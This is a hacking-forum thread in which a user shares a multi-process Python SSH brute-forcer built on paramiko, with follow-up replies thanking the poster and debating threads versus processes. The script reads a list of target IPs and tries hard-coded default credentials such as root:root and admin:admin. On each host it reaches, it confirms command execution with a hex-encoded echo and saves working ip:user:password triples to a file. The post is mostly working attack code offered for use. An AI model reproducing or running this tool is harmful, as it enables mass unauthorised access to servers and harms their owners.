Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

SSH Brute-Forcer - Threaded - Checks Execution

Free SSH scanner.
Paramiko needed.
yum install python-paramiko* -y
Message me for premium scripts.


PHP Code

<?php 
import socket
import sys
import time
from multiprocessing import Process
import paramiko
 
if len(sys.argv) < 4:
        
sys.exit("Example: python2 script.py <Input-File> <Output-File> <Threads>\n")
 
thread_cnt = int(sys.argv[3])
thread_tot = 0




read_h 
= open(str(sys.argv[1]),'a+')

def f(ip):
    
things = "root:root,admin:admin,admin:12345,root:12345,root:password".split(",")
    for 
sets in things:
        
bsets = sets.split(":")

        try:
            print 
"Trying: ", ip
            ssh
.connect(ip, username=bsets[0],password=bsets[1], timeout=1)
        
except Exception:
            print 
"Nope", ip
        
else:
            try:
                (
stdin, stdout, stderr) = ssh.exec_command("echo -e '\x62\x69\x6e\x66\x61\x67\x74'\n")
            
except:
                print 
"No Exec\n"
                
break
            else:
                
myrep = stdout.readlines()
                if 
str(myrep) != "binfagt":
                    print 
"No Exec\n"
                    
break
                else:
                    print 
'Exec on ', ip
                    file_h 
= open(sys.argv[2],'a+')
                    
file_h.write(ip + ":" + bsets[0] + ":" + bsets[1] + "\n")
                    
file_h.close() 
                    break

        
ssh.close()

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())



for 
line in read_h:
    
myip = line.split("\n")
    
p = Process(target=f, args=(myip[0],))
    
p.start()
    
thread_tot += 1
    
if thread_tot > thread_cnt:
       
p.join()
       
thread_tot = 0
p
.join() 
Decent share mate, thanks for this.
Nice stuff.. i will save it for later :)
(Feb 28, 2015 10:54 PM)deiski Wrote:  Decent share mate, thanks for this.

Yep, if anything it serves as a paramiko example.
I have had an easy time working with paramiko and libtelnet.

I could post the telnet version if you wanted.
Really good share, thanks a lot dude.
Thank you ! I was looking for this thing only.
Im learning python right now, and this is really nice to look over, thanks for the share :)
[Image: FDc8cTo.png]
(Mar 2, 2015 03:38 PM)#YOLO Wrote:  Im learning python right now, and this is really nice to look over, thanks for the share :)

No problem! Feel free to message me if you want support
This isn't multithreaded; this spawns multiple processes. A small but important distinction.

I love this user <3
Spoiler (Click to View)
(Mar 2, 2015 08:19 PM)Black‌jack Wrote:  This isn't multithreaded; this spawns multiple processes. A small but important distinction.

Yeah, I made one with twisted threads, but I couldn't find it. haha


Possibly Related Threads...
Thread / Author Replies Views Last Post
by nucleo_type09Apr 23, 2024 04:10 PM 3 186 Apr 23, 2024 04:10 PM
Last Post: nucleo_type09
[Python] by c0d3dsk1llsJun 19, 2022 10:24 AM 1 194 Jun 19, 2022 10:24 AM
Last Post: Parks
[Python] by skeyyy34Dec 17, 2021 06:55 PM 1 273 Dec 17, 2021 06:55 PM
Last Post: -Mr Mesmer